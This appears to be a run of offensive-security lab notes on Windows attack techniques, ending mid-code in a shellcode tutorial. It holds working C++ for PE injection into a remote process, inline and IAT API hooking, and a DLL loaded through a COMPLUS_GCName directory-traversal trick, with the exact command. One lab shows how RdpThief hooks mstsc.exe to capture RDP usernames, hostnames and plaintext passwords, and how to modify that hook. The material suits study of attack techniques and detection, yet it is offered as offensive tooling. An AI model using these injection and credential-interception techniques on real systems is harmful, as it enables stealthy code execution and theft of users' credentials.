2. Parse the PE headers and get its `sizeOfImage`
3. Allocate a block of memory (size of PE image retrieved in step 1). Let's call it `localImage`
4. Copy the image of the current process into the newly allocated local memory `localImage`
5. Allocate a new memory block (size of PE image retrieved in step 1) in a remote process - the target process we want to inject the currently running PE into. Let's call it `targetImage`
6. Calculate the delta between memory addresses `targetImage` and `imageBase`, let's call it `deltaImageBase`&#x20;
7. Relocate/rebase the PE that's stored in `localImage` to `targetImage`. For more information about image relocations, see my other lab [T1093: Process Hollowing and Portable Executable Relocations](/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations)
8. Write the patched PE into the `targetImage` memory location using `WriteProcessMemory`
9. Create remote thread and point it to `InjectionEntryPoint` function inside the PE target process

## Walkthrough

Getting `sizeOfImage` of the current process (local process) that will be injecting itself into a target process and allocating a new memory block in the local process:

![](/files/-Lsd8iIJrevU8QE54FX1)

In my case, the new memory block got allocated at address `0x000001813acc0000`. Let's copy the current process's image in there:

![](/files/-Lsd981DZA1jspJb4rT0)

Let's allocate a new block of memory in the target process. In my case it got allocated at `0x000001bfc0c20000`:

![](/files/-Lsd9OGbXNJWqKMJ-BJG)

Calculate the delta between `0x000001bfc0c20000` and `0x000001813acc0000` and perform [image base relocations](/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocation). Once that's done, we can move over our rebased PE from `0x000001813acc0000` to `0x000001bfc0c20000` in the remote process using `WriteProcessMemory`.&#x20;

Below shows that our imaged has now been moved to the remote process:

![](/files/-LsdAJxDnLO9kXR8_P_3)

Finally, we can create a remote thread and point it to the `InjectionEntryPoint` function inside the remote process:

```cpp
CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);
```

![New thread getting created inside notepad.exe](/files/-LsdAp7UbzQmov_J294-)

## Demo

Below shows how we've injected the PE into the notepad (PID 11068) and executed its function `InjectionEntryPoint` which printed out the name of a module the code was running from, proving that the PE injection was succesful:

![](/files/-LsXCNWYHoFg4LmWOTQl)

## Code

Below is the commented code that performs the PE injection:

```cpp
#include <stdio.h>
#include <Windows.h>

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

DWORD InjectionEntryPoint()
{
	CHAR moduleName[128] = "";
	GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
	MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
	return 0;
}

int main()
{
	// Get current image's base address
	PVOID imageBase = GetModuleHandle(NULL);
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);

	// Allocate a new memory block and copy the current PE image to this new memory block
	PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
	memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

	// Open the target process - this is process we will be injecting this PE into
	HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 9304);
	
	// Allote a new memory block in the target process. This is where we will be injecting this PE
	PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Calculate delta between addresses of where the image will be located in the target process and where it's located currently
	DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

	// Relocate localImage, to ensure that it will have correct addresses once its in the target process
	PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
	DWORD relocationEntriesCount = 0;
	PDWORD_PTR patchedAddress;
	PBASE_RELOCATION_ENTRY relocationRVA = NULL;

	while (relocationTable->SizeOfBlock > 0)
	{
		relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
		relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

		for (short i = 0; i < relocationEntriesCount; i++)
		{
			if (relocationRVA[i].Offset)
			{
				patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
				*patchedAddress += deltaImageBase;
			}
		}
		relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
	}

	// Write the relocated localImage into the target process
	WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);

	// Start the injected PE inside the target process
	CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);

	return 0;
}
```

## References

{% embed url="<https://www.andreafortuna.org/2018/09/24/some-thoughts-about-pe-injection/>" %}

{% embed url="<https://blog.sevagas.com/PE-injection-explained>" %}

{% embed url="<https://www.malwaretech.com/2013/11/portable-executable-injection-for.html>" %}


# API Monitoring and Hooking for Offensive Tooling

[Rio](https://twitter.com/0x09al) recently posted about his tool [RdpThief](https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/) which I thought was plain genius. It allows for offensive operators to steal RDP credentials by injecting RdpThief's DLL into the RDP client mstsc.exe.

Under the hood, RdpThief does the following:

* hooks mstsc.exe functions responsible for dealing with user supplied credentials
* intercepts the user supplied username, password, hostname during authentication
* writes out intercepted credentials and hostname to a file

These are some notes of me tinkering with [API Monitor](http://www.rohitab.com/apimonitor), WinDBG and Detours (Microsoft's library for hooking Windows APIs) and reproducing some of the steps Rio took during his research and development of [RdpThief](https://github.com/0x09AL/RdpThief).&#x20;

These notes will serve me as a reference for future on how to identify and hook interesting functions that can be useful when writing offensive tooling.

## Walkthrough

If we launch mstsc.exe and attempt connecting to a remote host WS01:

![](/files/-Ltoq-WSrDTL57-SWP2q)

..we are prompted to enter credentials:

![RDP authentication prompt](/files/-LtoICWKhi6n4vLIoX9T)

If API monitor was attached to mstsc.exe when we tried to authenticate to the remote host WS01, we should now have a huge list of API calls invoked by mstsc.exe and its module logged.

### Intercepting Username

If we search for a string `spotless`, we will find some functions that take `spotless` as a string argument and one of those functions is `CredIsMarshaledCredentialW` as shown below:&#x20;

![CredIsMarshaledCredentialW contains the string spotless](/files/-LtoIrQEpRC2vsoe-FnL)

![CredIsMarshaledCredentialW contains the string spotless](/files/-LtoJN1EEPWn49V5Rfvx)

In WinDBG, if we put a breakpoint on `ADVAPI32!CredIsMarshaledCredentialW` and print out its first and only argument (stored in RCX register per x64 calling convention), we will see `DESKTOP-NU8QCIB\spotless` printed out:

```c
bp ADVAPI32!CredIsMarshaledCredentialW "du @rcx"
```

![ADVAPI32!CredIsMarshaledCredentialW breakpoint hit and username printed](/files/-LtoNCPFlTFAf7mhllYZ)

![ADVAPI32!CredIsMarshaledCredentialW breakpoint hit and username printed - still](/files/-LtocXXvju0xNlGPkIHx)

### Intercepting Hostname

To find the hostname of the RDP connection, we find API calls that took `ws01` (our hostname) as a string argument. Although RdpThief hooks `SSPICLI!SspiPrepareForCredRead` (hostname supplied as a second argument), another function that could be considered for hooking is `CredReadW` (hostname a the first argument) as seen below:

![](/files/-LtolUHuZarCHEzqLtzr)

If we jump back to WinDBG and set another breakpoint for `CredReadW` and attempt to RDP to our host `ws01`, we get a hit:

```cpp
bp ADVAPI32!CredReadW "du @rcx"
```

![](/files/-LtomvCgXk8N60c7fs1o)

Out of curiosity, let's also put a breakpoint on `SSPICLI!SspiPrepareForCredRead` and once it's hit, print out the second argument supplied to the function, which is stored in the RDX register:

```
bp SSPICLI!SspiPrepareForCredRead
du @rdx
```

![](/files/-Ltop6GzwUiYniCqUIiW)

### Intercepting Password

We now know the functions required to hook for intercepting the username and the hostname. What's left is hooking the function that deals in one way or another with the password and from Rio's article, we know it's the DPAPI `CryptProtectMemory`.&#x20;

Weirdly, searching for my password in API Monitor resulted in no results although I could see it in plain text in `CryptUnprotectMemory`:

![Password not found in API Monitor when using search, although the password is clearly there](/files/-LttCAV62xP9OLwR8MiS)

![Plain text password visible in CryptUnprotectMemory](/files/-Ltp4roYB1MHFsyC8N8u)

Reviewing `CryptProtectMemory` calls manually in API Monitor showed no plaintext password either, although there were multiple calls to the function and I would see the password already encrypted:

![32 byte encrypted binary blob](/files/-Ltp4agKygYEqjsSBmk4)

{% hint style="info" %}
From the above screenshot, note the size of the encrypted blob is 32 bytes - we will come back to this in WinDBG
{% endhint %}

While having issues with API Monitor, let's put a breakpoint on `CryptProtectMemory` in WinDBG and print out a unicode string (this should be the plaintext password passed to the function for encryption) starting 4 bytes into the address (first 4 bytes indicate the size of the encrypted data) pointed by the RCX register:

```cpp
bp dpapi!cryptprotectmemory "du @rcx+4"
```

Below shows the plain text password on a second break:

![](/files/-Ltp157dviyvshSdvgb-)

![](/files/-Ltp1Bv0sY4tWfgkxTUE)

Earlier, I noted the 32 bytes encrypted blob seen in `CryptProtectMemory` function call (in API Monitor) and also mentioned the 4 byte offset into RCX that holds the size of the encrypted blob - below shows that - first 4 bytes found at RCX (during the `CryptProtectMemory` break) are 0x20 or 32 in decimal:

![](/files/-Ltp8mpgN8za_jYTKwkA)

## RdpThief in Action

Compiling RdpThief provides us with 2 DLLs for 32 and 64 bit architectures. Let's inject the 64 bit DLL into mstsc.exe and attempt to RDP into `ws01` - we see the credentials getting intercepted and written to a file:&#x20;

![](/files/-Ltt5vPbSA2fvZJ-PJ7p)

## Intercepting Hostname via CredReadW

I wanted to confirm if my previous hypothesis about hooking `CredReadW` for intercepting the hostname was possible, so I made some quick changes to the RdpThief's project to test it.&#x20;

I commented out the `_SspiPrepareForCredRead` signature and hooked `CreadReadW` with a new function called `HookedCredReadW` which will pop a message box each time `CredReadW` is called and print its first argument as the message box text.&#x20;

Also, it will update the `lpServer` variable which is later written to the file creds.txt together with the username and password.

Below screenshot shows the code changes:

![](/files/-LtqGXARtq-2WoojdPoD)

Of course, we need to register the new hook `HookedCredReadW` and unregister the old hook `_SspiPrepareForCredRead`:

![](/files/-LtqHQWl0d3F1lQ5pKiL)

Compiling and injecting the new RdpThief DLL confirms that the `CredReadW` can be used to intercept the the hostname:

![](/files/-Ltt5PkI1nnKvAZRsXiH)

## References

{% embed url="<https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/>" %}

{% embed url="<https://github.com/0x09AL/RdpThief>" %}

{% embed url="<https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credismarshaledcredentialw>" %}

{% embed url="<https://docs.microsoft.com/en-us/dotnet/framework/tools/developer-command-prompt-for-vs#manually-locate-the-files-on-your-machine>" %}

{% embed url="<https://github.com/mantvydasb/RdpThief>" %}


# Windows API Hooking

This lab is a quick look into how userland WinAPIs can be hooked. A `MessageBoxA` function will be hooked in this instance, but it could be any.

> &#x20;**API hooking** is a technique by which we can instrument and modify the behavior and flow of **API**calls.\
> <https://resources.infosecinstitute.com/api-hooking/>

Windows API hooking is one of the techniques used by AV/EDR solutions to determine if code is malicious. You can read some of my notes on bypassing EDRs by leveraging unhooking - [Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs](/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis)

For this lab, I will write a simple C++ program that will work follows:

1. Get memory address of the `MessageBoxA` function
2. Read the first 6 bytes of the `MessageBoxA` - will need these bytes for unhooking the function
3. Create a `HookedMessageBox` function that will be executed when the original `MessageBoxA` is called
4. Get memory address of the `HookedMessageBox`
5. Patch / redirect `MessageBoxA` to `HookedMessageBox`
6. Call `MessageBoxA`. Code gets redirected to `HookedMessageBox`
7. `HookedMessageBox` executes its code, prints the supplied arguments, unhooks the `MessageBoxA` and transfers the code control to the actual `MessageBoxA`

## Execution

Pop the message box before the function is hooked - just to make sure it works and to prove that no functions are hooked so far -  it's the first instruction of the program:

![](/files/-LidVhKi92NzvNnpxFsS)

Get the memory address of the `MessageBoxA` function:

![](/files/-LidW5M_Aj1jgwDwyJtc)

If we dissasemble the bytes at that address, we can definitely see that there is code for `MessageBoxA`:

![](/files/-LidWIWChppyczaH59Nm)

Note the first 6 bytes `8b ff 55 8b ec 6a`(mind the endian-ness). We need to save these bytes for future when we want to unhook `MessageBoxA`:

![](/files/-LidXDtNFcAeQeThNI43)

Let's now build the patch (hook) bytes:<br>

![](/files/-LidYbUXUKU4qXHgG5nS)

...that will translate into the following assembly instructions:

```csharp
// push HookedMessageBox memory address onto the stack
push HookedMessageBox
// jump to HookedMessageBox
ret
```

We can now patch the `MessageBoxA` - memory pane in the bottom right shows the patch being written to the beginning of `MessageBoxA` function and the top right shows the beginning of the same function is re-written with a `push 3e1474h; ret` instructions:

![](/files/-LidZEgBrxAiofPB2IcZ)

If we disassemble the address `3e1474h`, we can see it contains a jmp to our `HookedMessageBox`:

![](/files/-LidZyo7Umn1YHYosb-u)

The `HookedMessageBox` intercepts and prints out the arguments supplied to `MessageBoxA`, then unhooks ~~`MessageBoxA`~~ by swaping back the first 6 bytes to the original bytes of the `MessageBoxA` function and then calls the `MessageBoxA` with the supplied arguments:

![](/files/-Lid_NmC4pWTs8_plq4F)

## Demo

Once the function is hooked, we can call the `MessageBoxA(NULL, "hi", "hi", MB_OK);` which will invoke the `HookedMessageBox`, print the intercepted values and display the original message box:

![](/files/-LidbMHNEFpwGl2VWqmw)

## Code

{% code title="api-hooking.cpp" %}

```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
	
	// print intercepted values from the MessageBoxA function
	std::cout << "Ohai from the hooked function\n";
	std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl;
	
	// unpatch MessageBoxA
	WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);
	
	// call the original MessageBoxA
	return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
	// show messagebox before hooking
	MessageBoxA(NULL, "hi", "hi", MB_OK);

	HINSTANCE library = LoadLibraryA("user32.dll");
	SIZE_T bytesRead = 0;
	
	// get address of the MessageBox function in memory
	messageBoxAddress = GetProcAddress(library, "MessageBoxA");

	// save the first 6 bytes of the original MessageBoxA function - will need for unhooking
	ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);
	
	// create a patch "push <address of new MessageBoxA); ret"
	void *hookedMessageBoxAddress = &HookedMessageBox;
	char patch[6] = { 0 };
	memcpy_s(patch, 1, "\x68", 1);
	memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4);
	memcpy_s(patch + 5, 1, "\xC3", 1);

	// patch the MessageBoxA
	WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);

	// show messagebox after hooking
	MessageBoxA(NULL, "hi", "hi", MB_OK);

	return 0;
}
```

{% endcode %}

## References

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-messageboxa>" %}


# Import Adress Table (IAT) Hooking

## Overview

* Windows portable executable contains a structure called `Import Address Table (IAT)`&#x20;
* IAT contains pointers to information that is critical for an executable to do its job:&#x20;
  * a list of DLLs it depends on for providing the expected functionality
  * a list of function names and their addresses from those DLLs that may be called by the binary at some point
* It is possible to hook function pointers specified in the IAT by overwriting the target function's address with a rogue function address and optionally to execute the originally intended function

Below is a simplified diagram that attempts to visualize the flow of events before and after a function \
(`MessageBoxA` in this example, but could be any) is hooked:

![](/files/-LulPrP3NUbUY6FD2CpU)

**Before hooking**

1. the target program calls a WinAPI `MessageBoxA` function
2. the program looks up the `MessageBoxA` address in the IAT&#x20;
3. code execution jumps to the  `kernel32!MessageBoxA` address resolved in step 2 where legitimate code for displaying the `MessageBoxA` (green box) lives

**After hooking**

1. the target program calls `MessageBoxA` like before hooking
2. the program looks up the `MessageBoxA` address in the IAT&#x20;
3. this time, because the IAT has been tampered with, the `MessageBoxA` address in the IAT is pointing to a rogue `hookedMessageBox` function (red box)&#x20;
4. the program jumps to the `hookedMessageBox` retrieved in step 3
5. `hookedMessageBox` intercepts the `MessageBoxA` parameters and executes some malicous code&#x20;
6. `hookedMessageBox` calls the legitimate `kernel32!MessageBoxA` routine

## Walkthrough

In this lab I'm going to write a simple executable that will hook `MessageBoxA` in its process memory space by leveraging the IAT hooking technique and redirect it to a function called `hookedMessageBox` as per above visualisation and then transfer the code execution back to the intended `MessageBoxA` routine.

{% hint style="warning" %}
IAT hooking is usually performed by a DLL injected into a target process, but for the sake of simplicity and illustration, in this lab, the IAT hooking is implemented in the local process.
{% endhint %}

To hook the `MessageBoxA` we need to:

1. Save memory address of the original `MessageBoxA`
2. Define a `MessageBoxA` function prototype
3. Create a `hookedMessageBox` (rogue `MessageBoxA`) function with the above prototype. This is the function that intercepts the original `MessageBoxA` call, executes some malicious code (in my case, it invokes a `MessageBoxW`) and transfers code execution to the original `MessageBoxA` routine for which the address is retrieved in step 1
4. Parse IAT table until address of `MessageBoxA` is found
   1. More about PE parsing in [Parsing PE File Headers with C++](/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++)
   2. More about Import Address Table parsing in [Reflective DLL Injection](/offensive-security/code-injection-process-injection/reflective-dll-injection#resolving-import-address-table)
5. Replace `MessageBoxA` address with address of the `hookedMessageBox`

As a reminder, we can check the IAT of any binary using CFF Explorer or any other PE parser. Below highlighted is one of the IAT entries - the target function `MessageBoxA` that will be patched during runtime and swapped with `hookedMessageBox`:

![IAT table, CFF Explorer](/files/-LutnrDLKI1_jOwA73F7)

## Code

Below is the code and key comments showing how IAT hooking could be implemented:

```cpp
#include <iostream>
#include <Windows.h>
#include <winternl.h>

// define MessageBoxA prototype
using PrototypeMessageBox = int (WINAPI *)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

// remember memory address of the original MessageBoxA routine
PrototypeMessageBox originalMsgBox = MessageBoxA;

// hooked function with malicious code that eventually calls the original MessageBoxA
int hookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	MessageBoxW(NULL, L"Ola Hooked from a Rogue Senor .o.", L"Ola Senor o/", 0);
	// execute the original NessageBoxA
	return originalMsgBox(hWnd, lpText, lpCaption, uType);
}

int main()
{
	// message box before IAT unhooking
	MessageBoxA(NULL, "Hello Before Hooking", "Hello Before Hooking", 0);
	
	LPVOID imageBase = GetModuleHandleA(NULL);
	PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeaders->e_lfanew);

	PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
	IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)imageBase);
	LPCSTR libraryName = NULL;
	HMODULE library = NULL;
	PIMAGE_IMPORT_BY_NAME functionName = NULL; 

	while (importDescriptor->Name != NULL)
	{
		libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)imageBase;
		library = LoadLibraryA(libraryName);

		if (library)
		{
			PIMAGE_THUNK_DATA originalFirstThunk = NULL, firstThunk = NULL;
			originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->OriginalFirstThunk);
			firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->FirstThunk);

			while (originalFirstThunk->u1.AddressOfData != NULL)
			{
				functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)imageBase + originalFirstThunk->u1.AddressOfData);
					
				// find MessageBoxA address
				if (std::string(functionName->Name).compare("MessageBoxA") == 0)
				{
					SIZE_T bytesWritten = 0;
					DWORD oldProtect = 0;
					VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect);
						
					// swap MessageBoxA address with address of hookedMessageBox
					firstThunk->u1.Function = (DWORD_PTR)hookedMessageBox;
				}
				++originalFirstThunk;
				++firstThunk;
			}
		}

		importDescriptor++;
	}

	// message box after IAT hooking
	MessageBoxA(NULL, "Hello after Hooking", "Hello after Hooking", 0);
	
	return 0;
}
```

## Demo

Our binary's base address (ImageBase) in memory is at `0x00007FF69C010000`:

![](/files/-LutsC4uwoiEkLe-F14u)

Before IAT manipulation, `MessageBoxA` points to `0x00007ffe78071d30`:

![Line 58 in provided code - MessageBoxA is located at 0x00007ffe78071d30 before hooking ](/files/-Lutw-TY0mzqj4KQj5Zy)

If interested, we can manually work out that `MessageBoxA` is located at `0x00007ffe78071d30` by:

1. adding the ImageBase `0x00007FF69C010000` and Relative Virtual Address (RVA) of the First Thunk of `MessageBoxA` `0x000271d0` which equals to `0x00007FF69C0371D0`
2. dereferrencing `0x00007FF69C0371D0`

![RVA of the function MessageBoxA](/files/-Luttc22F934_KKUhWAD)

Dereferrencing `0x00007FF69C0371D0 (0x00007FF69C010000 + 0x000271d0)` reveals the `MessageBoxA` location in memory `0x00007ffe78071d30`:

![0x00007FF69C0371D0 points to MessageBoxA at 0x00007ffe78071d30 ](/files/-LutuRPwoQhB1u29blRw)

Now, our `hookedMessageBox` is located at `0x00007ff396d5440`:

![](/files/-LujP-UnPtx04_QMfL3N)

After the IAT manipulation code executes, `MessageBoxA` points to `hookedMessageBox` at `0x00007ff396d5440`

![](/files/-LujPHpMG9OIQZQKoIfl)

Once the function pointers are swapped, we can see that calling the `MessageBoxA` with an argument `Hello after Hooking` does not print `Hello after Hooking`, rather, the message text is that seen in the `hookedMessageBox` routine, confirming that the IAT hook was successful and the rouge function was called first:

![](/files/-LujPdWTo11DAv1LIkVx)

Below shows the entire flow of key events that happen in this program:

1. Before hooking, `MessageBoxA` is called with an argument `Hello Before Hooking` and the program displays the message as expected
2. After IAT hooking, `MessageBoxA` is called with an argument `Hello after Hooking`, but the program gets redirected to a `hookedMessageBox` function and displays `Ola Hooked from a Rogue Senor .o.`
3. Finally, `hookedMessageBox` calls the original `MessageBoxA` which prints out the intended `Hello after Hooking`

![](/files/-LujQUW8-NQydFhBqrCE)

## References

{% content-ref url="/pages/-LQPhLIg2HTVSIbKB2tQ" %}
[Parsing PE File Headers with C++](/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++)
{% endcontent-ref %}

{% content-ref url="/pages/-LLPPq33pbjHi4YdTlQK" %}
[Reflective DLL Injection](/offensive-security/code-injection-process-injection/reflective-dll-injection)
{% endcontent-ref %}

{% content-ref url="/pages/-LicW5MarVn2ii36RFXQ" %}
[Windows API Hooking](/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++)
{% endcontent-ref %}


# DLL Injection via a Custom .NET Garbage Collector

This is a quick lab to test a DLL injection technique discovered by [@am0nsec](https://twitter.com/am0nsec), which he describes in his blogpost <https://www.contextis.com/us/blog/bring-your-own-.net-core-garbage-collector> - go check it out!

The idea behind this technique is that a low privileged user can specify a custom Garbage Collector (GC), that a  .NET application should use. A custom GC can be specified by setting a command shell environment variable `COMPLUS_GCName`, that points to a malicious DLL which represents a custom Garbage Collector.

{% hint style="warning" %}
Normally, specifying a custom GC requires administartor privileges, however, since path to a custom GC in `COMPLUS_GCName` is not sanitized when a custom GC is loaded, directory traversal allows **any** unprivileged user to specify a custom GC to be loaded from an arbitrary location to which they can drop their DLL.
{% endhint %}

The Gargage Collector DLL needs to export `GC_VersionInfo` method for this technique to work - this is the method that will contain our payload, that will be executed once a .NET program starts and loads our custom GC DLL.

## Execution

Let's create a DLL that represents a custom Garbage Collector. It needs to export a function `GC_VersionInfo`, which in our case executes a simple message box:

```cpp
#include <Windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

struct VersionInfo
{
    UINT32 MajorVersion;
    UINT32 MinorVersion;
    UINT32 BuildVersion;
    const char* Name;

};

extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info)
{
    info->BuildVersion = 0;
    info->MinorVersion = 0;
    info->BuildVersion = 0;
    MessageBoxA(NULL, "Injection", "Injection", 0);
}
```

Once the DLL is compiled, we can set the `COMPLUS_GCName` environment variable in our cmd.exe shell and point it to the compiled DLL:

```
set COMPLUS_GCName=..\..\..\..\..\..\..\..\..\..\..\..\..\labs\GarbageCollector\GC\x64\Release\GC.dll & dotnet.exe -h
```

We can execute any .NET binary found on the system and it will load our GC.dll. In this lab, we do:

```
dotnet.exe -h
```

Below shows that our GC.dll got injected into the dotnet.exe:

![](/files/-MAHKCrPqPdcpec2Jdks)

## References

{% embed url="<https://www.contextis.com/us/blog/bring-your-own-.net-core-garbage-collector>" %}


# Writing and Compiling Shellcode in C

This is a quick lab to get familiar with the process of writing and compiling shellcode in C and is merely a personal conspectus of the paper [From a C project, through assembly, to shellcode](https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf) by [hasherezade](https://twitter.com/hasherezade) for [vxunderground](https://twitter.com/vxunderground) - go check it out for a deep dive on all the subtleties involved in this process, that will not be covered in these notes.

For the sake of this lab, we are going to turn a simple C program (that is provided by [hasherezade](https://twitter.com/hasherezade) in the aforementioned paper) that pops a message box, to shellcode and execute it by manually injecting it into an RWX memory location inside notepad.

{% hint style="info" %}
Code samples used throughout this lab are written by [hasherezade](https://twitter.com/hasherezade), unless stated otherwise.
{% endhint %}

## Overview

Below is a quick overview of how writing and compiling shellcode in C works:

1. Shellcode is written in C
2. C code is compiled to a list of assembly instructions
3. Assembly instructions are cleaned up and external dependencies removed
4. Assembly is linked to a binary
5. Shellcode is extracted from the binary
6. This shellcode can now be injected/executed by leveraging [code injection techniques](/offensive-security/code-injection-process-injection)

## Walkthrough

{% hint style="info" %}

1. This lab is based on Visual Studio 2019 Community Edition.&#x20;
2. Program and shellcode in this lab targets x64 architecture.
   {% endhint %}

### 1. Preparing Dev Environment

First of, let's start the Developer Command Prompt for VS 2019, which will set up our dev environment required for compiling and linking the C code used in this lab:

![](/files/-MMqwX5Hs8CJqD02_34B)

In my case, the said console is located here:

```
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat
```

Let's start it like so:

```
cmd /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat"
```

![](/files/-MMq_0koF0JKEap3PyKl)

### 2. Generating Assembly Listing

Below are two C files that make up the program we will be converting to shellcode:

* `c-shellcode.cpp` - the program that pops a message box
* `peb-lookup.h` - header file required by the `c-shellcode.cpp`, which contains functions for resolving addresses for `LoadLibraryA` and `GetProcAddress`

{% tabs %}
{% tab title="c-shellcode.cpp" %}

```cpp
#include <Windows.h>
#include "peb-lookup.h"

// It's worth noting that strings can be defined nside the .text section:
#pragma code_seg(".text")

__declspec(allocate(".text"))
wchar_t kernel32_str[] = L"kernel32.dll";

__declspec(allocate(".text"))
char load_lib_str[] = "LoadLibraryA";

int main()
{
    // Stack based strings for libraries and functions the shellcode needs
    wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
    char load_lib_name[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
    char get_proc_name[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 };
    char user32_dll_name[] = { 'u','s','e','r','3','2','.','d','l','l', 0 };
    char message_box_name[] = { 'M','e','s','s','a','g','e','B','o','x','W', 0 };

    // stack based strings to be passed to the messagebox win api
    wchar_t msg_content[] = { 'H','e','l','l','o', ' ', 'W','o','r','l','d','!', 0 };
    wchar_t msg_title[] = { 'D','e','m','o','!', 0 };

    // resolve kernel32 image base
    LPVOID base = get_module_by_name((const LPWSTR)kernel32_dll_name);
    if (!base) {
        return 1;
    }

    // resolve loadlibraryA() address
    LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);
    if (!load_lib) {
        return 2;
    }

    // resolve getprocaddress() address
    LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)get_proc_name);
    if (!get_proc) {
        return 3;
    }

    // loadlibrarya and getprocaddress function definitions
    HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR))load_lib;
    FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName)
        = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc;

    // load user32.dll
    LPVOID u32_dll = _LoadLibraryA(user32_dll_name);

    // messageboxw function definition
    int (WINAPI * _MessageBoxW)(
        _In_opt_ HWND hWnd,
        _In_opt_ LPCWSTR lpText,
